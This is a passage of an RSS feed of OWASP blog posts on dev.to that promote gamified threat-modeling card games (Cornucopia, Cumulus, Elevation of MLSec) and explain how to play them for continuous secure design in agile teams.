      <link>https://dev.to/owasp/how-do-you-get-your-dev-team-to-shift-left-by-themselves-for-real-3eap</link>
      <guid>https://dev.to/owasp/how-do-you-get-your-dev-team-to-shift-left-by-themselves-for-real-3eap</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;Shift-left doesn't start with scanning the code for security vulnerabilities; it begins with designing it. Play yourself secure with OWASP Cornucopia Website Edition v2.2&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;Too often the shift-left mantra consists of implementing AI code scanning and applying AI-powered security fixes for remediation. Also, don't forget to implement the &lt;a href="https://engineering.fb.com/2025/04/29/ai-research/autopatchbench-benchmark-ai-powered-security-fixes/" rel="noopener noreferrer"&gt;AI-powered benchmark for AI-Powered Security Fixes&lt;/a&gt;. We're not telling you to stop using these tools, instead, we want to ask ourselves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are we working on?&lt;/li&gt;
&lt;li&gt;What can go wrong?&lt;/li&gt;
&lt;li&gt;What are we going to do about it?&lt;/li&gt;
&lt;li&gt;Did we do a good job?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Source: &lt;a href="https://github.com/adamshostack/4QuestionFrame" rel="noopener noreferrer"&gt;Shostack's Four Question Frame for Threat Modeling&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Secure design starts with understanding &lt;strong&gt;what we are working on&lt;/strong&gt;, asking &lt;strong&gt;what can go wrong&lt;/strong&gt; and &lt;strong&gt;what we are going to do about it&lt;/strong&gt;. I'll leave that to the AI-assistants you say?&lt;br&gt;
Before you do, know that the "&lt;a href="https://www.veracode.com/blog/ai-generated-code-security-risks/" rel="noopener noreferrer"&gt;2025 GenAI Code Security Report&lt;/a&gt;" from Veracode shows that after a comprehensive analysis of over 100 large language models across 80 coding tasks spanning four programming languages and four critical vulnerability types, only 55% of AI-generated code was secure (AI-Generated Code: A Double-Edged Sword for Developers, 09.09.2025). We don't doubt that, eventually, the machines will take over the world, but in the mean time, don't forget to ask yourself &lt;strong&gt;what can go wrong&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3uy09dwzqa4soxv1xfv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3uy09dwzqa4soxv1xfv.webp" alt="Machines will for sure take over the world"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And what does the industry standard for infosec management say about writing secure code?&lt;/p&gt;

&lt;p&gt;If you happen to be ISO 27001 certified and are writing code, you should know that the control you have called: "ISO 27002: 8.28 Secure coding", says that: "Planning and prerequisites before coding should include: ... g) secure design and architecture, including threat modelling".&lt;/p&gt;

&lt;p&gt;But, how can you possible do that in an agile and fun way?&lt;/p&gt;

&lt;p&gt;Visit &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt; and play OWASP Cornucopia, Elevation of MLSec, Elevation of Privilege or OWASP Cumulus with your team.&lt;br&gt;
Games aren't just for fun, they can be serious tools too, and that is what we are doing with &lt;a href="https://cornucopia.owasp.org/" rel="noopener noreferrer"&gt;OWASP Cornucopia&lt;/a&gt;. We are making threat modeling for everyone, everywhere, and we have a special love for agile teams that want to do continuous threat modeling as part of their development sprints. Don't believe us? See how long-time project contributor Max Alejandro Gómez Sánchez Vergaray has &lt;a href="https://cornucopia.owasp.org/how-to-play#Gameplay-using-abuse-case-modelling-approach" rel="noopener noreferrer"&gt;created a video&lt;/a&gt; to explain how he has trained hundreds of teams to use OWASP Cornucopia in abuse case modelling sessions at a major international bank. This approach has scaled to over two-thousand developers to date.&lt;/p&gt;


&lt;h2&gt;
  
  
  

  &lt;iframe src="https://www.youtube.com/embed/vLYzId7-ijI"&gt;
  &lt;/iframe&gt;



&lt;/h2&gt;

&lt;p&gt;In our next version of OWASP Cornucopia Website App Edition version 2.2 we have a special treat for you. We have gathered together all our threat modeling expertise, created threat modeling scenarios for each card and analyzed which STRIDE categories each of these scenarios belong to. If you have bought a &lt;a href="https://cornucopia.owasp.org/webshop" rel="noopener noreferrer"&gt;OWASP Cornucopia deck with QR codes&lt;/a&gt; you can now give your team advice on threat scenarios, threat vectors, attack patterns, mitigation strategies and STRIDE when playing the game by letting them scan the QR codes on each card. Each scenario follows "&lt;a href="https://github.com/adamshostack/4QuestionFrame?tab=readme-ov-file#shostacks-four-question-frame-for-threat-modeling" rel="noopener noreferrer"&gt;Shostack's Four Question Frame for Threat Modeling&lt;/a&gt;" making it easy for your security champions to come up with the threats and mitigations themselves.&lt;br&gt;
In addition, we have added additional CAPECs that corresponds to each card and added references to the &lt;a href="https://devguide.owasp.org/en/04-design/02-web-app-checklist/" rel="noopener noreferrer"&gt;OWASP Developer Guide's Web Application Checklist&lt;/a&gt; that will link your threat modeling to OWASP secure coding practices and the &lt;a href="https://top10proactive.owasp.org/" rel="noopener noreferrer"&gt;OWASP Top 10 Proactive controls&lt;/a&gt;, this, thanks to Jon Gadson from the OWASP Developer Guide project.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpj4qumpmfd2xt306hfb.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpj4qumpmfd2xt306hfb.jpg" alt="Both the Mobile App Edition v1.1 and the Website App Edition v2.2 have QR codes that takes you to the OWASP Cornucopia Website for further analysis of threats and mitigations"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are just getting started, in fact, this is just the first step. We will continue to bring threat modeling to everyone, everywhere, and will continue to do so in the time to come.&lt;br&gt;
Next time we will also talk about the last question: "Did we do a good job?"&lt;br&gt;
Why? Because we want the game to be used in iterative security processes that involves continually adapting security measures in cycles to identify, address, and reassess threats and vulnerabilities, making continuous improvements rather than a one-time fix.&lt;/p&gt;

&lt;p&gt;Stay tuned.&lt;/p&gt;
&lt;h2&gt;
  
  
  How to use OWASP Cornucopia cards together with the OWASP Cornucopia website
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A - Preparations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A1. Obtain a deck, or print your own Cornucopia deck and separate/cut out the cards&lt;/li&gt;
&lt;li&gt;A2. Identify an application or application process to review; this might be a concept, design or an actual implementation&lt;/li&gt;
&lt;li&gt;A3. Create a data flow diagram, user stories, or other artefacts to help the review&lt;/li&gt;
&lt;li&gt;A4. This will help answer the question: "What are we working on"&lt;/li&gt;
&lt;li&gt;A5. Identify and invite a group of 3-6 architects, developers, testers and other business stakeholders together and sit around a table (try to include someone fairly familiar with application security)&lt;/li&gt;
&lt;li&gt;A6. Have some prizes to hand (gold stars, chocolate, pizza, beer or flowers depending upon your office culture). See our "Prizes and Swags" section for ideas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;B - Play&lt;br&gt;
One suit - Cornucopia - acts as trumps. Aces are high (i.e. they beat Kings). It helps if there is someone dedicated to documenting the results who is not playing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;B1. Remove the Jokers and a few low-score (2, 3, 4) cards from Cornucopia suit to ensure each player will have the same number of cards&lt;/li&gt;
&lt;li&gt;B2. Shuffle the pack and deal all the cards&lt;/li&gt;
&lt;li&gt;B3. To begin, choose a player randomly who will play the first card - they can play any card from their hand except from the trump suit - Cornucopia&lt;/li&gt;
&lt;li&gt;B4. To play a card, each player must read it out aloud, and explain how (or not) the threat could apply (the player gets a point for attacks that work, and the group thinks it is an actionable bug) - don’t try to think of mitigations at this stage, and don’t exclude a threat just because it is believed it is already mitigated - someone record the card on the score sheet&lt;/li&gt;
&lt;li&gt;B5. B5. If a player get stuck, ask them to scan the QR code on the card to access the online card page and read the section called: &lt;strong&gt;"&lt;a href="https://cornucopia.owasp.org/cards/VE2#What-can-go-wrong?" rel="noopener noreferrer"&gt;What can go wrong?&lt;/a&gt;"&lt;/strong&gt; or click the "more info" links if playing &lt;a href="https://copi.owasp.org/" rel="noopener noreferrer"&gt;Copi&lt;/a&gt; (the online Cornucopia version) or just browse the card from the deck at cornucopia.owasp.org while playing&lt;/li&gt;
&lt;li&gt;B6. Play clockwise, each person must play a card in the same way; if you have any card of the matching lead suit you must play one of those, otherwise they can play a card from any other suit. Only a higher card of the same suit, or the trump suit Cornucopia, wins the hand&lt;/li&gt;
&lt;li&gt;B7. The person who wins the round, leads the next round (i.e. they play first), and thus defines the next lead suit&lt;/li&gt;
&lt;li&gt;B8. Repeat until all the cards are played&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;C - Scoring&lt;br&gt;
The objective is to identify applicable threats, and win hands (rounds)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;C1. Score +1 for each card you can identify as a valid threat to the application under consideration&lt;/li&gt;
&lt;li&gt;C2. Score +1 if you win a round&lt;/li&gt;
&lt;li&gt;C3. Once all cards have been played, whoever has the most points, wins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;D - Closure&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;D1. Review all the applicable threats and the matching security requirements.&lt;/li&gt;
&lt;li&gt;D2. Ask the group: "What are we going to do about it?". Use the QR codes on the physical cards or "more info" links if playing &lt;a href="https://copi.owasp.org/" rel="noopener noreferrer"&gt;Copi&lt;/a&gt; and read the &lt;strong&gt;&lt;a href="https://cornucopia.owasp.org/cards/VE2#What-are-we-going-to-do-about-it?" rel="noopener noreferrer"&gt;"What are we going to do about it?"&lt;/a&gt;&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;D3. Create user stories, specifications and test cases as required for your development methodology and add them directly into your issue tracking software under the what you are working on&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;

&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>ai</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>OWASP Cornucopia Companion Edition</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Wed, 06 Aug 2025 14:35:30 +0000</pubDate>
      <link>https://dev.to/owasp/owasp-cornucopia-companion-edition-1h66</link>
      <guid>https://dev.to/owasp/owasp-cornucopia-companion-edition-1h66</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;At OWASP Cornucopia we have long stated that we will create more decks, and now we will!&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;To provide more possibilities for doing threat modeling while playing games, OWASP Cornucopia would like to welcome all OWASP members and OWASP Cornucopia enthusiasts to create the OWASP Cornucopia companion deck!&lt;/p&gt;

&lt;p&gt;The companion deck will contain a number of optional card enhancements - each one a single suit covering a particular application security topic, and intended to be used in conjunction with the existing OWASP Cornucopia Website Edition. A suit in the companion deck may be used to replace a suit in the existing Website Edition, so that the players can add a specific focus for their threat modeling.&lt;/p&gt;

&lt;p&gt;For example, say you are building an IoT application and want to perform threat modeling specifically for IoT. If that is the case, you can use the OWASP Cornucopia Website Edition together with the IoT companion suit as your elected OWASP Cornucopia focus area.&lt;/p&gt;

&lt;p&gt;Each of the attacks on the cards belonging to the various suits will showcase AppSec requirements from different OWASP projects and beyond, commemorating and celebrating the 25th anniversary of the OWASP Foundation next year. In addition, we would like the case, the leaflet with the instructions, and the face of the cards to be illustrated for this very same purpose.&lt;/p&gt;

&lt;p&gt;Join us to take gamified threat modeling to the next level and celebrate the OWASP Foundation's achievements within application security worldwide. We welcome suggestions on what the focus areas of the extension suits in the companion deck should be, which OWASP projects are most relevant for these, and contributors to write the attacks for each card. We are thinking of up to six companion deck suits. Get in touch….&lt;/p&gt;

&lt;p&gt;Github: &lt;a href="https://github.com/OWASP/cornucopia/discussions/1548" rel="noopener noreferrer"&gt;https://github.com/OWASP/cornucopia/discussions/1548&lt;/a&gt;&lt;br&gt;
Linkedin: &lt;a href="https://www.linkedin.com/in/sydseter/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/sydseter/&lt;/a&gt;&lt;br&gt;
Bluesky: &lt;a href="https://bsky.app/profile/sydseter.com" rel="noopener noreferrer"&gt;https://bsky.app/profile/sydseter.com&lt;/a&gt;&lt;br&gt;
Mastodon: &lt;a href="https://mastodon.social/@sydseter" rel="noopener noreferrer"&gt;https://mastodon.social/@sydseter&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia or Elevation of Privilege:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>appsec</category>
      <category>cybersecurity</category>
      <category>gamedev</category>
      <category>security</category>
    </item>
    <item>
      <title>No need to fear the clouds. Play OWASP Cumulus!</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Thu, 26 Jun 2025 09:32:39 +0000</pubDate>
      <link>https://dev.to/owasp/no-need-to-fear-the-clouds-play-owasp-cumulus-d6g</link>
      <guid>https://dev.to/owasp/no-need-to-fear-the-clouds-play-owasp-cumulus-d6g</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;The clouds can be a scary place. All these machines that simply aren't yours. So, how can you make sure you continuously keep your cloud infrastructure secure? OWASP Cumulus is the easy way to bring security into the cloud and your DevOps teams. Play it at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt; thanks to &lt;a href="https://www.linkedin.com/in/christoph-niehoff-43020b20b/" rel="noopener noreferrer"&gt;Christoph Niehoff&lt;/a&gt; and &lt;a href="https://owasp.org/www-project-cumulus/" rel="noopener noreferrer"&gt;OWASP Cumulus&lt;/a&gt;!&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;As a variant of the card game &lt;a href="https://shostack.org/games/elevation-of-privilege" rel="noopener noreferrer"&gt;Elevation of Privilege&lt;/a&gt; it follows the idea to threat model a system via gamification. This lightweight and low-barrier approach helps you find threats to your DevOps or cloud project and teaches the developers a security oriented mindset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Threat Modeling
&lt;/h2&gt;

&lt;p&gt;The idea of threat modeling via serious games goes back to the card game &lt;a href="https://shostack.org/games/elevation-of-privilege" rel="noopener noreferrer"&gt;Elevation of Privilege&lt;/a&gt; by Adam Shostack. The basic idea is to bring the developers to the table and get them start discussing the security of their system. For this, a card game serves as a guide through a catalogue of threats. It is designed to be low-barrier and naturally embeddable within agile development processes.&lt;/p&gt;

&lt;p&gt;While we at &lt;a href="https://cornucopia.owasp.org/" rel="noopener noreferrer"&gt;OWASP Cornucopia&lt;/a&gt; have been focusing on creating games focused on web- and mobile application security, we have felt that the specific needs of the DevOps team working in cloud environments have been missing. &lt;a href="https://owasp.org/www-project-cumulus/" rel="noopener noreferrer"&gt;OWASP Cumulus&lt;/a&gt; seeks to fill this gap and provides a custom card deck with threats to cloud systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Continuously Assessing your Security
&lt;/h2&gt;

&lt;p&gt;The point here is not do just do your initial security risk assessment and be done with it, but to continuously look for new threats on a regular basis as you expand your infrastructure according to the &lt;a href="https://www.threatmodelingmanifesto.org/" rel="noopener noreferrer"&gt;Threat Modeling Manifesto&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;"Continuous Threat Modeling", a term described in &lt;a href="https://www.amazon.com/Threat-Modeling-Identification-Avoidance-Secure/dp/1492056553" rel="noopener noreferrer"&gt;"Threat Modeling: A Practical Guide for Development Teams"&lt;/a&gt; by Izar Tarandach &amp;amp; Matthew J. Coles is essential to keep your applications and infrastructure secure as you expand your system with new features and machines and increase the attack surface. Gamifications can help getting started doing just that. So why would you want to continuous threat model your infrastructure and applications? Isn't it enough just to do a thorough and deep check up now and then? At &lt;a href="https://admincontrol.com/" rel="noopener noreferrer"&gt;Admincontrol&lt;/a&gt;, where I work, we thought so as well!&lt;/p&gt;

&lt;p&gt;At Admincontrol, we where using threat modeling to threat model our applications. We have been having a large session that we only are able to do once a year, and several smaller sessions that we do for each sprint. We define Jira issues meant for mitigating these threats and assign them directly to the development team's backlog. Then we have security backlog grooming once a month with the product owners and discuss directly with them how we can get these issues resolved.&lt;/p&gt;

&lt;p&gt;The first graph shows the resolution time for the Jira issues that are created based on the threat modeling session we do once a year. The second graph shows the resolution graph for Jira issues for the threat modeling that we do each sprint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Graph 1&lt;/strong&gt;:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4s1t7qyv02vmkpt5v4w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4s1t7qyv02vmkpt5v4w.png" alt="Threat modeling done once a year"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Graph 2&lt;/strong&gt;:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fskzqjk9cd1ubnjj2kh6h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fskzqjk9cd1ubnjj2kh6h.png" alt="Threat modeling done continously"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, in the first graph, the resolution time is just increasing. This is because we have Jira issues that are defined but never resolved. Some of the issues have taken close to 3 years to resolve!&lt;/p&gt;

&lt;p&gt;The second graph shows a bump where the resolution time spikes. This is because we had a component that didn't get finalized. It stayed on the drawing bord, but the threat modeling was done so the resolution time spiked. We have no data before 2023 as we didn't do this type of threat modeling before 2023. On average, the resolution time for the short threat modeling sessions is ca. 3 months. This usually coincides with the frequency of our minor releases that contains new features.&lt;/p&gt;
&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femdxojidbn7pkgz2uqyu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Femdxojidbn7pkgz2uqyu.jpg" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you do long and large sessions, you run the risk of both doing threat modeling irregularly, meaning that you will have issues you never are able to solve, and having issues meant to improve the security staying in the development team's backlog forever, never to see the light of day. If you think that technical debt is scary, wait until you get to see your security debt. Not assessing how your security is doing on a regular basis isn't only very expensive, it can leave you open for threats as well. This is why &lt;a href="https://github.com/izar/continuous-threat-modeling" rel="noopener noreferrer"&gt;continuous threat modeling&lt;/a&gt; is so important. Don't let your business spiral out of control, consciously assess how you are doing by continuously threat model your applications and infrastructure.&lt;/p&gt;
&lt;h2&gt;
  
  
  How to play OWASP Cumulus
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Go to: &lt;a href="https://copi.owasp.org/games/new" rel="noopener noreferrer"&gt;https://copi.owasp.org/games/new&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Select OWASP Cumulus from the drop-down list&lt;/li&gt;
&lt;li&gt;Make sure you have done all the preparations&lt;/li&gt;
&lt;li&gt;Then click: Create the Game &lt;/li&gt;
&lt;li&gt;Send the link to 3 players&lt;/li&gt;
&lt;li&gt;Once 3 players have join, click start the game.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8luferag2unn4kdmrolu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8luferag2unn4kdmrolu.png" alt="owasp cumulus how to"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhwbwjn0k71ny8oazlj8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhwbwjn0k71ny8oazlj8.png" alt="the cards"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia or Elevation of Privilege:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>threatmodeling</category>
      <category>appsec</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>Does the AI do the threat modeling of your software?</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Wed, 11 Jun 2025 19:26:57 +0000</pubDate>
      <link>https://dev.to/owasp/threat-modeling-your-ai-models-using-ai-29e1</link>
      <guid>https://dev.to/owasp/threat-modeling-your-ai-models-using-ai-29e1</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;Are you letting the AI do the threat modeling for you? There is no need to let the machines take over the world! Threat model using Elevation of MLSec on copi.owasp.org instead. Our survival depends on it! At &lt;a href="//copi.owasp.org"&gt;copi.owasp.org&lt;/a&gt; you can now play Elevation of MLSec to threat model your AI models.&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqi8gcoi59rhuf8hdc9zt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqi8gcoi59rhuf8hdc9zt.png" alt="How to get started with Elevation of MLSec"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Elevation of MLsec is an unofficial Machine Learning Security (MLsec) extension of Microsoft's Elevation of Privilege threat modeling card game. These playing cards portray risks associated with machine learning (ML) that have been identified by research groups. It is suitable to play this game with or without the original Elevation of Privilege deck depending on the nature of what you're threat modeling. The intention of these cards is primarily to improve the security of ML systems themselves, as opposed to using ML for security.&lt;/p&gt;

&lt;p&gt;The work is based mainly on &lt;a href="https://berryvilleiml.com/results/" rel="noopener noreferrer"&gt;Berryville Institute for Machine Learnings (BIML)’s architectural risk analysis for machine learning systems (BIML-78)&lt;/a&gt; and their LLM analysis (BIML-LLM24), found on berryvilleiml.com. The game also adds a few somewhat supplementary LLM specific threats from &lt;a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener noreferrer"&gt;OWASP’s TOP 10 list for Large Language Model&lt;/a&gt; Applications found on owasp.org.&lt;/p&gt;

&lt;p&gt;The game was created by Elias Brattli Sørensen and designed by Jorun Kristin Bremseth while working at Kantega. You can download &lt;a href="https://github.com/kantega/elevation-of-mlsec" rel="noopener noreferrer"&gt;the design files from their repository&lt;/a&gt; if you would like to print a physical version of the game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu2jo0ra4lkt9ifuez4k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu2jo0ra4lkt9ifuez4k.png" alt="A game of Elevation of MLSec"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/cornucopia/releases/tag/v2.3.0" rel="noopener noreferrer"&gt;Version 2.3 of OWASP Cornucopia&lt;/a&gt; brings with it "Elevation of MLSec" as an option when you select a new game at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;. If you like, it's also possible to install Copi yourself. Read more about that here: &lt;a href="https://cornucopia.owasp.org/copi" rel="noopener noreferrer"&gt;https://cornucopia.owasp.org/copi&lt;/a&gt;  &lt;/p&gt;

&lt;p&gt;Personally, I am very happy about their game and have used it myself to threat model our new AI features that we are delivering at Admincontrol, and you should do it too. Don't leave the threat modeling up to the AI or it may take over the world!&lt;/p&gt;

&lt;h2&gt;
  
  
  How to play Elevation of MLSec
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Go to: &lt;a href="https://copi.owasp.org/games/new" rel="noopener noreferrer"&gt;https://copi.owasp.org/games/new&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Select  Elevation of MLSec from the drop-down list&lt;/li&gt;
&lt;li&gt;Make sure you have done all the preparations&lt;/li&gt;
&lt;li&gt;Then click: Create the Game &lt;/li&gt;
&lt;li&gt;Send the link to 3 players&lt;/li&gt;
&lt;li&gt;Once 3 players have join, click start the game.&lt;/li&gt;
&lt;/ul&gt;

